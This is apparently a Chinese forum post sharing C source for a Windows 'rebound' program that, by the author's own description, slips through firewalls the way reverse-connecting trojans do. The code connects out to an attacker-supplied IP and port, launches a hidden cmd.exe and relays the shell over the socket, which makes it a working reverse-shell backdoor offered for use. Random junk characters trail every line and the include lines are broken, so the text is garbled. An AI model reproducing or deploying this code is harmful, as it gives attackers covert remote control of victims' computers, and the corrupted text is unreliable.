这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c4mh EE-
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/* ==============================
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Rebound port in Windows NT XEH}4;C'{
By wind,2006/7 rNN
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===============================*/ _ -..~K.|
#include 9";sMB}W*
#include MmoR~~*
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#pragma comment(lib,"wsock32.lib") [ AzO:A
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void OutputShell(); W<b-r^9?s
SOCKET sClient; ]ya; v '
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RrV>r<Z"Q
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void main(int argc,char **argv) e{w>%)rcP
{ :QQlI
WSADATA stWsaData; Wr~yK? : ]
int nRet; i775:j~zx0
SOCKADDR_IN stSaiClient,stSaiServer; @R6 ttx
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if(argc != 3) hwnJE958L
{ YlK7;yrq(
printf("Useage:\n\rRebound DestIP DestPort\n"); ]7 GlO9
return; FiAY\4
} n> w`26MMp
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WSAStartup(MAKEWORD(2,2),&stWsaData); )]6hy9<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :py\|
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stSaiClient.sin_family = AF_INET; 2b@tj
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stSaiClient.sin_port = htons(0); z}4L=KR\v
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wTq{ sW&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) iAn'aW\TF
{ D)b}f`
printf("Bind Socket Failed!\n"); s'HD{W`
return; _r Y,}\
} ;@mRo`D`
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stSaiServer.sin_family = AF_INET; k#>hg#G
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R`'1t3p0i
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \}*k)$r
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dbdM"z4
{ $hrIO+
printf("Connect Error!"); w`HI]{hE~N
return; P87#
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} ~W0(1#
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OutputShell(); [j,txe?n
} #&.]"
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void OutputShell() (#\pQ51
{ TV59(bG.2
char szBuff[1024]; }%!tT\8
SECURITY_ATTRIBUTES stSecurityAttributes; ^V*-1r1
OSVERSIONINFO stOsversionInfo; 0?Q_@Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -b;|q.!
STARTUPINFO stStartupInfo; rVSZ.+n
char *szShell; `u'bRp
PROCESS_INFORMATION stProcessInformation; ]c)_&{:V
unsigned long lBytesRead; |+,[``d>"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AG6K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .10y0FL4
stSecurityAttributes.lpSecurityDescriptor = 0; h:bru:ef
stSecurityAttributes.bInheritHandle = TRUE; 3)Ac"nuyqH
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T)~9Wac
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j+4H}XyE
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); KP"%Rm`XN
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "UVFU-Z
stStartupInfo.wShowWindow = SW_HIDE; _`-1aA&n~
stStartupInfo.hStdInput = hReadPipe; l1=JrpCan
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d'
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GetVersionEx(&stOsversionInfo); !BIOY!M
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switch(stOsversionInfo.dwPlatformId) -Sv"gLB
{ o:q1beU
case 1: t~7V{ xk
szShell = "command.com"; z;\d L
break; ?`_jFj+<\S
default: yCz|{=7"j
szShell = "cmd.exe"; d 4?d4;{
break; RIn9(r
} FqFapRX66Z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $4SzUZ0
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send(sClient,szMsg,77,0); e$)300 o
while(1) 6X2PYJJZ
{ uGU;Y'W)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); * *H&+T/B
if(lBytesRead) $:s`4N^
{ }R4c
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cE'L% Z
send(sClient,szBuff,lBytesRead,0); y3u+_KY-
} 0U/,aHvhP
else B@YyQ'
{ #K\?E.9h
lBytesRead=recv(sClient,szBuff,1024,0); !9iGg*0dx
if(lBytesRead<=0) break; /$N~O1"0)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^eYqll/U
} \G@wp5
} Q^Ql\
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return; I`(l *U
}